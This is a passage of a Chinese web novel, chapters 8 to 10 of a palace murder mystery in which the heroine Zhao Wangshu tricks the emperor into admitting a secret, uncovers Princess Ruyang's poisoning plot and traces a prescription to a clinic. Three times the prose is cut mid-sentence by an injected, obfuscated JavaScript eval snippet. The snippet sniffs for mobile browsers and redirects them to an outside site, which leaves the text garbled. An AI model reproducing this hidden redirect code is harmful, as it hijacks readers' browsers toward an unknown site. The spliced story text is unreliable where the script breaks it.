茯苓是首先被她诈出情报的,然后紫苏也紧跟着说了一句:“奴婢们是真的不知两位公主究竟有何矛盾,只偶尔听到过几个字眼,譬如‘太后专权‘、‘光复皇室’之类。” 赵望舒听下来,却是不明其意,她看向唯一没有开口的陈公公,对方咽了咽口水,似乎正要说些什么,却被突然涌入柔福殿的一群金吾卫阻断了话头。 “赵小姐,我和部将刚刚查到,距今半年以来,只有陛下身边的小桂子一个月前到国库支用过一株翡云草。” 康瑛带回了调查结果,不知为何,在听见这句话时,陈公公的身体仿佛颤了颤,比他见到冯玄晖时抖得更为明显。 目前许多线索都与齐慕远有所关联,赵望舒感觉那位看似存在感不高的原书男主或许正是案件的突破点,想到这里,她扭头朝康瑛问道:“康将军,如果我意图面圣,是否要等到早晨陛下醒转用过餐之后……” “最亲近的姑姑遇害身亡,瞧陛下那副悲痛姿态,想来也是难以入睡的,赵小姐何妨立刻前去觐见呢?” 回答她的声音却从身后响起,语气温柔平和,但就是无端透出一股嘲讽的意味。 赵望舒转过身,她的发丝随着动作拂过冯玄晖刻意俯下的脸庞,似乎在描摹他的五官一般:“睿王殿下,您也有面圣的打算?” “本王与陛下亦是近亲手足,既知陛下痛心,自当劝慰一二。” 冯玄晖这理由听得她险些笑出声来——他若是将齐慕远当作手足兄弟,怎会日夜图谋着篡位、夺走对方的一切? 然而这人实在不愧是心理素质极高的大反派,厚脸皮程度远超她的想象:“再有则是,赵小姐你今夜留下赏灯,在旁人眼中即是潜在的后妃人选,如果你与陛下孤男寡女独处一室,只怕惹来什么误会,本王在场,却能省去那些误会。” 赵望舒一时无语凝噎,冯玄晖只不过想要监视她的查案过程,却美其名曰替她着想,她真不知还能说什么话应付他。 各怀心思的两人走在金吾卫队列最前端,而后面的康瑞叶扯了扯母亲康瑛的衣袖,颇为不解地问道:“我们不是人吗?” 康瑛:“……” 8. 使诈 恢弘华贵的大殿之上,身穿明黄龙袍的男人披头散发、双眼红肿,周身气质凄苦而颓丧,毫无帝王威仪。 这并非因为他流露出脆弱情态,而是真正的掌权者无论表现得凌厉狠辣还是平和亲切,她们那种生杀予夺的压迫感都是掩盖不住的,譬如冯太后,又譬如冯玄晖,但高台上名正言顺的皇帝齐慕远却没有。 “臣女参见陛下……” 即便心中有诸般堪称不敬的念头,赵望舒表面上依旧恭敬行礼。 相比之下,她身旁的冯玄晖就显得十分敷衍,他只随意拱手做了个潦草礼节。 不过她们的态度对齐慕远而言大抵无关紧要,对方一点反应都没有,仍然呆坐着发愣。 赵望舒不得不主动开口:“陛下,我们是为了汝阳公主的案子而来……” 她话还没说完,‘汝阳公主’四个字仿佛刺激到了齐慕远,他猛地从书案前站起身来:“查明真凶了吗?方才那些人中的谁竟敢胆大包天谋害朕的姑姑?” 她一时有些错愕,只本能地摇了摇头。 见状,齐慕远失望地跌坐回椅子上,随后他仿佛才看到立在赵望舒身侧的冯玄晖,疑惑问道:“表兄怎会来此?母后不是令你们一群人出宫回府吗?” “皇城中发生命案,臣忧心陛下与太后娘娘的安危,无暇它顾,唯愿协助赵小姐尽快查出真相。” 冯玄晖简直睁着眼睛说瞎话,纵然他端得是一副忠直贤臣的姿态,可他向来无利不起早,与情义这个词并不沾边。 然而齐慕远没有丝毫怀疑,又或者他已经再度陷进丧亲悲痛之中。 赵望舒无奈地暗吸了一口气,旋即直入正题:“陛下,经公主身边一位名叫茯苓的宫女告知,公主今夜收到一张纸条,口吻和字迹都像是出自您之手……” 闻言,齐慕远憔悴的面容上露出几分惊诧:“朕知道茯苓,但是朕整晚在听那些宾客奉承,没有半刻闲暇,自然不曾写过什么纸条传给姑姑。” 赵望舒原本就不猜忌他,毕竟他行踪透明、没有作案机会,因此她只是继续说道:“公主收到纸条后立即摒退侍从,想来是有人假借陛下的名义要求她独自前往浮光台赴约,但茯苓也就罢了,公主对陛下的字迹定然十分熟悉,那人却能以假乱真,陛下认为嫌犯中有哪几位可做到?” “模仿朕的字迹?” 齐慕远思考片刻,迟疑着给出答案:“朕师从程太傅,陆世子和吴二公子曾经是朕的伴读,他们的字迹笔风自然与朕相似,还有……表兄和吴尚书若是常看朕的批注,兴许也对笔迹有些印象。” 她是知晓冯玄晖不符凶犯特征的,而且齐慕远绝对故意略过了襄城公主,襄城公主同齐慕远一起长大,想要临摹他的字迹是易如反掌。 思忖片刻,赵望舒提出了一个请求:“臣女希望陛下赐予墨宝,方便臣女探查字迹这一线索。” 这不算什么为难的事,齐慕远认真提笔在御用宣纸上写了一首苦情诗,旁观的小太监意图代为传递,她却抢先一步主动上前接过宣纸、将其仔细叠好塞进袖中。 与此同时,她突然朝着近在眼前的齐慕远问道:“陛下,听闻您曾派人到国库支用过一株翡云草,是否因为龙体有恙?” “……没错,朕自己用来治病。” 齐慕远反应极大,他连着咳嗽了好几声,末了,还反过来追问:“你打听这事做什么?难不成与案情有关?” 如果皇帝真生过什么病症需要用到翡云草,太医院早就马不停蹄替他取来了,何须他自己派人到国库支用? 赵望舒眼中闪过一丝幽深,她的语气却依旧平静,仿佛刚刚只是随口一提:“查案途中无意间知悉此事,臣女亦是担忧龙体安康才多嘴询问,那翡云草制成药汤苦涩无比,尤其每次服用都要取一整株,为免再受这般口舌之苦,陛下还是保重身体……” “对,那药汤太苦了,若没有蜜饯配着,朕根本喝不下。” 年轻的天子神态间显出几分不自然,殿中众人以为他是被红颜佳人的关切惹得尴尬羞窘,甚至于紧跟着不顾礼仪说出赶客之语。 被宫殿的主人直接要求离开此地,赵望舒却并未流露出难堪情绪。 她不闪不避地看向齐慕远,声线轻柔而清晰地问道:“陛下,无论闻起来还是尝起来,翡云草都味道极淡,近乎令人察觉不出,何谈苦到让您喝不下呢?而且是药三分毒,翡云草入药时通常只取三分之一,您为什么没有指正这点?” 齐慕远瞬间瞪大眼睛,似是震惊于她方才竟然在话中设陷阱给他下套,但他终究勉强稳住了心神,固执地嘴硬道:“朕记错了……” “您连喝药配蜜饯这种细节都说出口,怎会是记错呢?” 撒谎时给谎言补充细节,这样听起来的确更有可信度,但此时却成为她拆穿齐慕远谎言的关键。 不过赵望舒可以诱使齐慕远露出马脚,却无法逼迫一个皇帝向她解释内情。 就在她苦恼接下来该如何行事时,身后传来某人散漫含笑的质问:“陛下,满朝文武皆知您清正直率,今日您却一反常态屡次扯谎,不就是为了公主吗?” 冯玄晖虽然是对齐慕远发问,但他的视线却与侧身盯着他的赵望舒交汇一处,那张俊美笑颜也全被她看了去。 两人对视几秒,复又一致望向慌张失措的齐慕远,显然对方完全被猜中了心思。 只见齐慕远指了指侍立左右的御前内侍和守卫在大殿四周的金吾卫:“你们全都退到殿外。” “陛下……” “朕说了,退下!” 齐慕远难得展现出强硬作风,内侍和守卫们也只能无奈地依言踏出殿门,偌大宫殿里顿时只剩下三个人。 沉默半晌,这回是齐慕远主动开口:“表兄,你怎知朕是为了姑姑而撒谎?” “原来陛下是因汝阳公主而隐瞒事实。” 冯玄晖耸了耸肩,摆出一副无辜纯良的神情:“微臣其实不知,只不过想到能让陛下费尽心思为其撒谎的,满宫之中唯有太后和二位公主,如若事关太后,臣与赵小姐一开始就无法查到任何线索,所以便是二位公主了。” 此话一出,别说被气了个倒仰的齐慕远,就连赵望舒也有些惊诧。 她起先还以为冯玄晖早知内情,只是刻意不告诉她,却没想到他亦是在使诈套话。 怪不得冯玄晖发问时用着‘公主’这一模糊的字眼,并未明说是哪位公主,恐怕也在等齐慕远主动交代答案。 “表兄,你也……你们两个真是……” 齐慕远来回瞪视着赵望舒和冯玄晖,作为皇帝被连续耍了两次难免愤慨,但他最后也仅是力道稍重的拍了下书案。 赵望舒:“……” 脾气真好,某种程度上令她幻视自己那个仁弱温吞的父亲。 这也正是书中原主偏执争夺齐慕远的原因——一方面,她父亲是赘婿,平日里几乎对她母亲言听计从,原主的择偶观受到双亲影响,另一方面,原主作为一个半吊子千金,她骨子里的自卑抹消不去,逐渐转化成对更高权势的渴望,而齐慕远能够同时满足她的掌控欲和虚荣心。 但原主忘了考虑,齐慕远是一个没有实权的皇帝,他的权力在谁那里?又怎么可能被半路冒出来的原主捡漏? “事已至此,朕也瞒不下去了。” 齐慕远重新站起身走下高台,他一边在殿室中紧张踱步,一边如实交代道:“一个月前,姑姑说她身体不适,想要那西域 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792309|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进贡的翡云草制药安养,朕本欲传太医院操持此事,她却偏要朕暗中派人到国库去取,还逼着朕发誓保守此事……” 闻言,恍然与荒谬的情绪在赵望舒脑海中交织,她一开始认为凶手想要谋害太后、只是误杀公主,如今却惊觉试图谋害太后的正是死者汝阳公主。 思及此,羽林卫营地中张统领的心虚情状和柔福殿殿外陈公公的紧张害怕全都有了解释,他们必定知晓汝阳公主的计划,很可能就是公主的从犯。 “你们为什么非要探究此事?此事究竟与姑姑身亡有无关系?” 齐慕远再一次重申了先前的问题,他怕是绝对想不到,他亲近的姑姑一门心思想要置他的母后于死地,甚至将他也当作计划一环。 然而赵望舒瞥了一眼身旁同样心知肚明的冯玄晖,两人罕见地达成共识,谁都没有对皇帝说实话,只用谎言应付过去。 齐慕远依旧没有质疑,他行至两人中间,那清瘦的体形在冯玄晖英武挺拔身躯对比下更显单薄:“你们来都来了,不妨陪朕小酌几杯,借酒消愁……” 赵望舒能够理解皇帝的悲痛,但她愁的是案情未明,这不是酒可以消解的,因此她一点都不想浪费时间买醉。 刚才齐慕远想赶两人赶不走,现在他想留人,她和冯玄晖却告退得十分迅速,没等他那句邀约说尽,两人就已经推开殿门离开,徒留他在原地目瞪口呆地望着一双男女逐渐远去的背影。 “……先将张统领押入天牢审讯,如若他不肯交代就适当上刑,我则回到柔福殿亲自审问那个陈公公,顺便搜查公主的寝殿。” 在与康瑛解释完前因后果,并且商量好接下来的分工后,赵望舒没有如方才所说,即刻返回柔福殿进行搜查。 她望着黑沉夜空和空中飘动的细雪,心底漫上些许寒意。 以冯太后对金吾卫和皇城的掌控力,她的所有调查恐怕都无法避开对方耳目,那么汝阳公主和皇帝的一举一动呢? 宴会上太后没有碰过内含翡云草的汤盅,反而将它当作赏赐送给程太傅,因此免遭混毒之祸,这是单纯的幸运,还是早有防备? 案发之后,赵望舒把嫌疑人范围圈定为八个人,自始至终忽略了不曾被她检查鞋底、也没有讲述不在场证明的冯太后,但对方并不缺少作案动机。 “若是太后娘娘想要除去一个空有名头的公主,有千万种神不知鬼不觉的办法,闹成如今这样的谋杀,却不像她的手笔。” 耳畔传来低语,冯玄晖温热的呼吸也随之拂过她的颈侧。 赵望舒猛然一惊,既为着他点破自己的心思,也不乏两人距离过近带给她的不安。 她强装镇定地往前一步,然后才转过身反驳道:“殿下是否弄错了,臣女从来不敢质疑太后。” “可本王觉得你胆子挺大,否则岂会花言巧语蒙骗陛下?” 冯玄晖原是俯身弯着腰同她轻声说话,此刻见她撤步回身,便又恢复笔直高挑的体态,只垂着眸瞧她,语气难辨是玩笑还是责备。 赵望舒挑动眉尖,似是波浪划破碧水般显出别样温婉,可她的言语却暗藏锋芒:“殿下若觉臣女行事不端,尽可递状御前,臣女虽无官职,但也不会推诿……” 要说诱供皇帝,冯玄晖也使了诈,她和他纯属半斤八两,若真想拿这事做文章,只怕他自己要率先受到攻讦。 “赵小姐怎么总用坏心揣测旁人?本王的意思分明是欣赏你。” 熟悉的话术再度从冯玄晖口中说出,这回赵望舒却没有生出恼怒情绪,或许因为两人即便不合,短时间内也无法摆脱对方,所以多费口舌亦是无益。 譬如此刻,二人近乎同时踏下台阶,在逐渐堆雪的地面上留下深浅不一的脚印。 9. 独处 “几位贵人怎么回来了,莫非还有什么要问奴才们……” 在赵望舒和冯玄晖并肩走入柔福殿,径直朝着汝阳公主的寝殿而去时,守在四周的宫人们恨不能躲得更远,唯有陈公公主动站出来、似是无意般挡住了两人和一众金吾卫的去路。 赵望舒打量了这个气质阴柔却五官端正的太监一眼:“在公主死后依旧对她的秘密守口如瓶,还十分紧张我们搜查她的寝殿,看来你的确是公主的心腹。” 一听她明言搜查的意图,陈公公的笑容瞬间变得勉强起来:“您说笑了,奴才能做这柔福殿的掌事太监,自然得到公主信重,但是搜查寝殿——公主千金之尊,莫说外男,即便是女子也不当冒犯她的领地……” 冯玄晖没等陈公公说完就越过他推开寝殿殿门,而赵望舒盯着他铁青的脸色,故意回道:“听说殿中曾经放过一个姓霍的员外郎的头颅,公公如今还借着公主名义摆威风,不怕哪天换做你的项上人头被人摘了去?” “您几位贵人自是大人物,但我们公主却也是陛下真心相待的至亲,陛下怎肯叫你们叨扰公主的死后安宁……” 陈公公也不是对那传闻无动于衷,他本就白皙的面容更显苍白,但仍强撑着搬出齐慕远来当护身符。 赵望舒摇了摇头,事先用恐吓给陈公公施加了心理压力后,她直入正题道:“公主试图谋害太后的计划我们已经尽数知晓,如果陛下得到消息,他还能保持对公主的敬重吗?太后又怎会轻易将此事揭过?” “公主收买了御膳房的人动手脚?抑或公主本人冒险在宴会期间凭着距离的优势趁机下毒?若想保命兼免受皮肉之苦,我劝你最好如实交代。” “你没有在听闻公主死讯的第一时间自尽、将一切秘密都带到棺材里去,想来还是惜命的吧?” 或许是被她说中惜命的弱点,又或许是冯玄晖和太后的双重权威足够恐怖,赵望舒步步紧逼的质问终究迫使陈公公由紧张转为崩溃,他一瞬间瘫倒在地。 而赵望舒没有留在原地等待陈公公缓过神,她一边往寝殿里走,一边甩下一句:“若是决定坦白,就跟进来一并把公主藏匿的私物取出。” 踏进殿中,金玉装饰又是一阵晃眼,赵望舒并非没见过世面的人,然则此刻视野中的极致华奢还是让她不自觉张开双唇,显出惊讶之态。 这时,站在书柜前的冯玄晖仿佛搜到了什么脏东西,笑容难得一僵,直接就将其甩手扔到地上,她弯腰捡起那本册子,翻开时香艳图画入目,原来是本chun宫图集。 不得不说,这很符合汝阳公主风流肆意的作派。 而冯玄晖则正好相反,他这个人沾血、沾人命,却不沾酒色。 为防公主真的将譬如信件的东西藏得刁钻,赵望舒正在犹豫要不要继续翻看下去,从她身旁经过的某人却帮她做了决定—— 冯玄晖伸出修长手臂,只是随意一抓,就将那本图集抽走重新丢回地面。 赵望舒:“……” 所幸陈公公很快跟进来,他指引着金吾卫在书桌的夹层里找出一册古籍,打破了殿室内怪异的氛围。 “公主就是在这本书中学来混毒之术,她知晓太后喜食杏仁羹,由是选择用那名叫‘香消玉殒’的混毒,她通过陛下拿到药引,奴才则物色御膳房中可供收买的杂役,最终将药引下在汤盅里,瞒过了试毒宫女……” 难怪汝阳公主离席时表现得那么不甘愤慨,她原以为对方是遭到太后训斥兼之没达成排挤蔡氏的目的才做那副情状,但现在看来那分明是计划失败所致。 听完这番供述,赵望舒又追问道:“羽林卫张统领是公主的帮凶吗?公主的计划是否只有你和张统领知悉并且代为执行?” “张统领确是从犯,他坐了多年冷板凳,同样希望换一个掌权者,以期恢复羽林卫天子亲卫的荣光,如若今夜事成,他就会发动兵变掣肘金吾卫……” 陈公公仿佛已经放弃守秘,毫不犹豫地回答她提出的每个问题:“但是我与张统领都只知部分计划,公主真正的心腹是一个名叫白芷的暗卫,白芷武功高强且忠心耿耿,公主很多事情都是由她经手。” “白芷表面上只是柔福殿的三等扫洒宫女,便于她偶尔消失去办事,但这半个月来她频繁出宫,最近更是彻底不见踪影,除了公主,大抵没人知道她的下落。” 赵望舒感觉这个掌握着汝阳公主许多秘密的白芷很重要,她现在的确已经拿到陈公公的口供,集齐公主谋害太后的证据,但公主死亡的真相却仍未明晰。 想到这里,她安排金吾卫寻来画师,按照柔福殿数个宫人的叙述绘出白芷的画像,随即开始亲自在殿中搜查。 无论陈公公是不知道公主更多藏匿私物的地点,还是他有所保留隐瞒,赵望舒都没有完全信任他,她翻看宝箱内每一块金银,闻过药箱里每一瓶药丸,其中多是避孕之药,思及公主情夫众多的情况,这没有引起她的关注。 她最终走到床边,掀开蚕丝织就的床褥,动作熟练的从底下找出暗格,那里只放着一张药方,按照纸张泛黄的程度和墨迹判断,应是至少保存了半年有余。 “觅阳草、火莲果……” 赵望舒低声念出纸上列着的草药名称,依她看来,这药方似是用于治疗血虚:“公主近年可曾受过什么伤?抑或癸水失调量多?” 气血亏空对于受过外伤的人或是少数女子来说不算罕见病症,她以为这药方是汝阳公主自用的。 “公主没有受过伤,身体也很健朗。” 但是陈公公却给出否定的答案,这让她不由起了疑心:“那陛下呢?襄城公主?还有驸马?”? “陛下与襄城公主是天潢贵胄,如若身体有损,那早闹翻了天,您也无需来问奴才了,至于驸马,他患得是寒疾……” 既然汝阳公主和她的身边人都没有得过血虚之症,她为什么把金银珠宝随意置于外面、却将这张药方小心存放在自己床底暗格里呢? 赵望舒目光扫过药方右下角的落款,那三个字是……杏春堂? 她没有忘记那个民间医馆和昨日早晨的双死命案,但在这张药方出现前,杏春堂掌柜与大夫双双坠亡和公主遇害除却都发生在上元节之外再无交集,可是—— 她回到被放置在梳妆台一侧的宝箱旁边,存放其中的黄金摆放整齐,只是没有填满箱箧,而缺少的那部分数量正好是十两黄金。 赵望舒深吸一口气,问出最后一个问题:“公主七日前可曾离宫?” “公主只在五日前出过皇城,但离开宫门不久,她突然独自下了马车,并且要求奴才们不得随行,幸好半个时辰后她安然无恙的回来了……” 从陈公公的回答听来,汝阳公主遣退仆从独自行动似乎是常态,因此案发当晚她的仆从习惯性听令告退,谁也没想到那一次的确会出事。 而杏春堂那盒来历不明的黄金大抵出自公主,七日前到访杏春堂的黑斗篷女人不是公主,却有可能是她的暗卫白芷。 更重要的是,五日之前,公主独自一人在宫外不知做过什么事,而凶手也正是在那天找上罗辉、收买对方布置谋杀计划。 这些看似散乱的线索背后隐藏着千丝万缕的联系,若要探究谜底,或许得回到最初的起点。 “康将军,我想去一趟西市真定坊,你能帮忙安排吗?” 赵望舒将药方塞进袖中,然后转过身与康瑛商量行程,因着太后的命令和她快速破获针对太后阴谋的能耐,对方没有多问,直接吩咐手下备齐车马在宫门外等候。 一行人推开寝殿殿门走出,恰好被远方照过来的金色微光笼罩住,原来此刻已是清晨时分。 被各种线索和某个笑面虎刺激着,赵望舒难得没产生多少熬夜通宵的倦意,若非天光云影如常高悬,她还无法意识到时间的流逝。 越过守卫严密的宫门,数匹壮硕良马和一辆做工精致的宽敞马车赫然出现在眼前,虽然赵望舒驭马术算是出色,但她见康瑛的女儿康瑞叶要拉着她一起坐车,也就没有推拒。 谁料在两人走入车厢之后,那道用作遮挡的帘布却没有放下,男人高大英挺的身影紧跟着弯腰钻了进来。 “睿王殿下?” 眼看着冯玄晖从容落座,赵望舒和康瑞叶几乎异口同声问道:“您怎么上来了?” 对方似是觉得她们这副如临大敌的模样很好笑,唇角的弧度愈发上扬:“本王既要关注案情,另置车马自然不便,又见金吾卫这车驾宽敞,可容五六人有余,干脆就借用一同出行……” 冯玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792310|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晖毕竟是太后侄子、位高权重的睿王,他愿意找理由解释已是难得,而赵望舒与康瑞叶总不能把他赶下去。 “感觉劳烦金吾卫给我驾车有点消受不起,我自己去骑马好了……” “我要去找我母亲……” 二人一刻也没有犹豫,果断要往车厢外去,但是灵活小巧的康瑞叶顺利溜下了车,只慢一步的赵望舒却被紧紧扣住肩膀、不得动弹。 她被按回到先前的位置,望着对面冯玄晖温润含笑的眉眼,胸口一阵气闷,实在没忍住脱口而出:“案情进展至今,同蔡氏已然关系不深,您为何还要关注这案子?” 话音落下,她瞬间就后悔了,想要找补却又被对方抢占先声。 “眼下嫌疑最重的是襄城公主、吴尚书父子与颍川侯世子,得罪公主等于得罪陛下,吴尚书和颍川侯又分别代表着世家与勋贵,本王没猜错的话,你打算走仕途,但若不顾压力与他们对抗,只怕连你祖父的仕途也要受到影响。” 冯玄晖仿佛很为她着想一般分析利弊,但话锋一转又显出真实意图:“一无所获就没法向太后交差,可是纵使查明真相,太后亦不过褒奖一时,难道还会一直给你保驾护航?” “赵小姐,你是聪明人,想必能明白这两条路实则都是绝路,而本王可以给你第三个选择。” 虽然他没有完全挑明,但言下之意赵望舒自是领会到了——如果将罪名落实在公主、吴家或侯府头上,她免不了遭到报复,可是将矛头指向蔡氏,冯玄晖则会给她撑腰。 他这分明是见威胁恐吓无用,转而采取怀柔策略试图收买她。 赵望舒一时不知该作何回应,她并非刚直性子,不介意虚与委蛇,但冯玄晖却不好糊弄,他定然无需她表忠心或任由她拖延时间,她要是假意答应,他很可能立刻让她付诸行动,而她不愿对上蔡瑾瑜,重蹈原主的覆辙。 两人各怀心思对峙着,马车毫无预兆的停刹却打破僵局,很尴尬也很戏剧化的是,她没能及时反应过来坐稳,而是猛地朝前扑进了对面冯玄晖的怀里。 这原本是个暧昧的行为,对方也没有把她推开,但按在她后脑上的左手和脖颈前的右手却有收紧之势,令她悚然不已。 “殿下,是大理寺的人和我们堵在同一条路上,康将军下令后撤……” 车帘外传来解释声,赵望舒一听就意识到驾车的金吾卫居然效忠于冯玄晖,难怪他刚才拉拢她时毫不避讳遮掩,因为整辆马车都全在他掌控之中。 那是不是意味着他能够为所欲为呢? 她开始剧烈挣扎,唯恐冯玄晖觉得笼络不成又记恨她三番两次破坏谋划、现在就要掐灭她这个不可控因子然后伪造成意外。 所幸此刻车帘被风吹起一角,外面大理寺官员的目光正好望过来,而领头之人就是不久前打过照面的蔡琮佳。 “蔡少卿。” 冯玄晖如她所愿放松了力道,她踉跄着跌到他身侧软椅上,听见他用意有所指的口吻朝车驾外说道:“大理寺真是权势日盛,连金吾卫都敢冲撞。” 闻言,蔡琮佳额角青筋迸起,但在大庭广众之下,他还是没有失礼,勉强解释了一句:“我等并非刻意占道,只是昨日在真定坊有桩命案还未查清,故而打算抄近路返回案发地,这事赵小姐也是知道的。” 两道目光集中在赵望舒身上,她还没顺过气来,只得点头以示附和。 “我们要去的该不会是同一个地方吧?” 冯玄晖询问的对象自然不是一脸疑惑的蔡琮佳,他侧身盯着她,语气如常和煦,却透出一种不阴不阳的感觉。 赵望舒再度颌首,却没有详作解释,而是趁着有人旁观,试图找借口下车:“殿下先前说过,孤男寡女共处一室容易惹来误会,臣女深以为然,这就离开车驾……” “外面许多人已然瞧见本王,但还没有几个发觉你的存在,你此刻下车露面才会招致臆测,不如等到真定坊四下无人再说。” 说罢,冯玄晖伸手扯好车帘,像是在体贴她的需求似的,实际却将她拘束在他的领地中。 强硬或服软的手段都使不成,软硬兼施亦是无用,赵望舒低低叹息一声,唯有继续待在这个喜怒难辨又危险性极高的男人旁边,忍受他仿佛作弄折磨般的注视。 10. 药方 马车停在杏春堂门前,赵望舒撩开车帘,比她先一步下车的冯玄晖装模作样地伸手作出搀扶姿势,她却故意忽略,自顾自的轻跃落地。 重新暴露在众人视野之中,康瑛、蔡琮佳望向她的目光中不乏同情,康瑞叶更是直接用心疼表情面对着她,仿佛她遭受了什么酷刑一般,这让她感觉有些尴尬,只得同样视而不见,率先踏入医馆。 杏春堂的掌柜夫人连翘已然换上一身纯白寿衣,连翘认得赵望舒,以为她是大理寺推官,急忙就迎上来询问案情进展。 赵望舒一边安抚对方的情绪,一边从袖中拿出那张药方让连翘过目:“夫人,你看这张药方的字迹是否熟悉?又是否属于你们杏春堂中人?” “这是张大夫写的,不错,就是他的字迹。” 连翘很快给出了答案,而她口中的张大夫就是昨日早晨医馆坠亡案的高个子死者:“三年前我们医馆被患者以开药有误的理由讹过钱,从此就衍生出诊病时开两张药方并自行留存其中一张的习惯,你看这落款处多了一笔,就是自留的标记……” 杏春堂自留的药方为什么会出现在汝阳公主寝殿的暗格里?杏春堂掌柜和开出这张药方的张大夫又为什么会双双坠亡、并被伪造成意外? 连翘的话语像是丝线,将汝阳公主遇害案和医馆坠亡案彻底串联在一起。 赵望舒从金吾卫手中接过一沓纸张,其中分别是公主心腹暗卫白芷的画像和柔福殿宫人对白芷特征的描述记录,她先将画像举起:“夫人,你曾说过七日前有一个打扮低调、披着黑斗篷的女人到访,而且留下一箱黄金,那个女人长什么样子?和这幅画像有几分相似?” 连翘摇了摇头,直言没有瞧见黑斗篷女人的容貌。 “那她的声音体型呢?” 赵望舒并未气馁,她将画像一收,又开始继续追问。 这回连翘思考片刻,倒是断断续续说出一些描述:“那个女人和我差不多高,所以斗篷兜帽盖住她的脸,我就看不清她的样子了……她的声音不清不脆,没什么记忆点……” 然而这些形容和柔福殿宫人的供述全部对得上,赵望舒满脸凝重地抱着那沓纸张走出医馆,迄今为止仍不明白她出现在这里缘由的蔡琮佳忍不住出声询问:“赵小姐,你不是在宫中调查公主的命案吗?怎么却来了杏春堂?” 她叹了一口气,没有再度敷衍搪塞,而是将在公主寝殿的发现一一道明,又补充与连翘说法的吻合之处。 “你怀疑那箱黄金是公主指使她的暗卫白芷带来的,白芷却只取走了一张药方?那药方有何用处,竟值十两黄金。” 蔡琮佳厘清思路后,理所当然好奇汝阳公主的目的,不仅是他,冯玄晖、康瑛和康瑞叶等人也向她投来目光。 而赵望舒的确有所猜测,她指尖划过药方上的药材名称:“这是一副治疗血虚的方子,觅阳草和火莲果都是大补药材,效果会立竿见影。” “但如果是寒疾患者服用,表面上也能气色红润、不再发颤畏寒,却只是回光返照,不出三日身体受不住药效会致暴毙——我记得公主的近侍陈公公提及过,已故的驸马吴大公子体弱多病,所患疾病中就有寒疾。” 药方使用得当可以挽救性命,反之,亦能无形中抹杀人命。 “我记得京中曾有流言,传闻驸马吴大公子并非病逝,而是被……气死?” 赵望舒将声音压得极低,即便没有明说,也相当于在暗示她怀疑驸马之死另有隐情。 可是话音落下,却有人出言反驳:“那些传闻多是以讹传讹,我与吴大公子吴烁交情不浅,他虽然身体不好,但才貌不俗、性情温柔敦厚,当初是公主自己选中他做驸马,两人婚后关系和睦,就算公主偶有风流事迹传出,吴烁也没有与她争吵过,她又何必杀夫背负恶名呢……” 蔡琮佳竟然对汝阳公主和驸马的事情了解颇多,他所透露出的情报与流言完全是相反版本。 不过赵望舒听过之后,神色未有变化,更没有纠缠在这个话题上,而是挥了挥白芷的画像:“在弄清楚公主的目的前,我要先确认那天到访杏春堂的黑斗篷女人是不是白芷,这样调查才能继续进展。” 连翘没有看清黑斗篷女人的面容,因此无法作出准确判断,但真定坊还有许多商铺和住宅,赵望舒认为总有另外的目击证人。 她沿着杏春堂四周挨家挨户询问,其中有两人承认瞧见过黑斗篷女人,但他们都复述不出女人的面部特征,她只得继续朝前敲门问话。 直到行至街道末尾、快要拐出真定坊地界,眼瞧着身边人早都开始神游天外,她自己同样没抱着多少希望,但依旧叩响了一家宅院的大门。 门从里面推开,衣着简朴却厚实的孩童在院中玩闹,妇女和老人各自忙着织衣或烹饪的活计,看上去就像一个自给自足的小村落,而站在中央主持秩序的是两名气质斐然的女子—— “娘,你已经把善堂开到这里了?” “瑾瑜,你怎么会在这里?” 赵望舒和蔡琮佳的声音几乎同时响起,盖因那两名女子分别是前者的母亲和后者的妹妹蔡瑾瑜。 “昨日赵小姐为我解围,虽则是出于公义之心,但我仍觉得应该到尚书府感谢一番,不想却忘了她还在宫中查案,是她母亲潘夫人接待了我,我听说潘夫人在京中置办收容难民的善堂,无论如何也要跟过来帮忙……” 蔡瑾瑜向赵望舒俏皮地眨了眨眼,然后上前挽着蔡琮佳的手臂与他说笑解释。 赵望舒则被母亲潘佑宜唤到近前,听到对方问她:“月儿,你昨日出的风头我都听你祖父说过了,你从小就偏爱查案缉凶,我不曾阻拦过,但这才短短一夜时间,你怎么就把自己弄成这副模样?” 她怔了怔,顺着潘佑宜的目光低头望见自己脖颈前显眼的红痕与手臂腕间淤痕,视线又不自觉扫向罪魁祸首——冯玄晖凭借着那副剑眉凤目的好皮囊和清润笑容吸引来几个孩童的簇拥,而他俯下身轻声与她们交流,仿佛很有耐心。 乍一看去,不明内情的旁观者很难相信她就是被这个人困在马车中恐吓、以至于留下明显印痕。 “有些嫌犯情绪比较极端,不过您无需担心,我有金吾卫随行保护呢……” 赵望舒没有如实交代,她自己都还暂时无法报复冯玄晖,当然不能再把母亲牵扯进来。 对于这番说辞,潘佑宜没有表现出信或不信,只是温柔慈和地给她理了理凌乱的发髻,又询问她的来意。 “七天前的深夜,有一个披着黑斗篷的女人去过不远处的杏春堂医馆,我们在找见过那个女人真容的目击者。” 得益于潘佑宜的感召力,赵望舒这次问话进行得十分顺利,善堂里一个织布女在没看过画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 